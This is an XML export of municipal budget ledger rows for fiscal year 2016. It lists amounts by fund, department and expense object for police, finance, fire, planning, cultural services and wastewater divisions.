<row _id="18358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544020.0</object><object_description>AMMO/PROTECTIVE CLOTHING-SWORN</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>212864</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>212864</total></row>
<row _id="18359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>36586</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36586</total></row>
<row _id="18360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4182</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4182</total></row>
<row _id="18361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18142837</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18142837</total></row>
<row _id="18362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3435645</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3435645</total></row>
<row _id="18363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>206070</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>206070</total></row>
<row _id="18364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18093</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18093</total></row>
<row _id="18365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>59021</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59021</total></row>
<row _id="18366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1172</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1172</total></row>
<row _id="18367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8251</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8251</total></row>
<row _id="18368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>70191</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70191</total></row>
<row _id="18369"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37256</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37256</total></row>
<row _id="18370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="18371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12255</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12255</total></row>
<row _id="18372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20400</total></row>
<row _id="18373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>981</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>981</total></row>
<row _id="18374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2130</total></row>
<row _id="18375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>26795</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26795</total></row>
<row _id="18376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569140.0</object><object_description>VIRGINIA AVENUE PROJECT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>96566</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>96566</total></row>
<row _id="18378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24418</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24418</total></row>
<row _id="18379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5531</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5531</total></row>
<row _id="18380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
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<row _id="18383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10667</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10667</total></row>
<row _id="18386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>164650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>164650</total></row>
<row _id="18387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5280</total></row>
<row _id="18388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3317</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3317</total></row>
<row _id="18389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2225</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2225</total></row>
<row _id="18390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12097859</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12097859</total></row>
<row _id="18391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588000.0</object><object_description>CAPITAL OUTLAY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1661</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1661</total></row>
<row _id="18395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>112405</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>112405</total></row>
<row _id="18396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3803167</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3803167</total></row>
<row _id="18397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>138154</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>138154</total></row>
<row _id="18398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544170.0</object><object_description>PROTECTIVE CLOTHING-NON-SWORN</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18016</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18016</total></row>
<row _id="18399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>140040</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>140040</total></row>
<row _id="18401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2336</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2336</total></row>
<row _id="18402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401660.0</object><object_description>WASTEWATER CAPITAL FAC FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-400000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-400000</total></row>
<row _id="18403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401990.0</object><object_description>SADDLE FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-75000</total></row>
<row _id="18404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>732</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>732</total></row>
<row _id="18405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="18407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
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<row _id="18412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
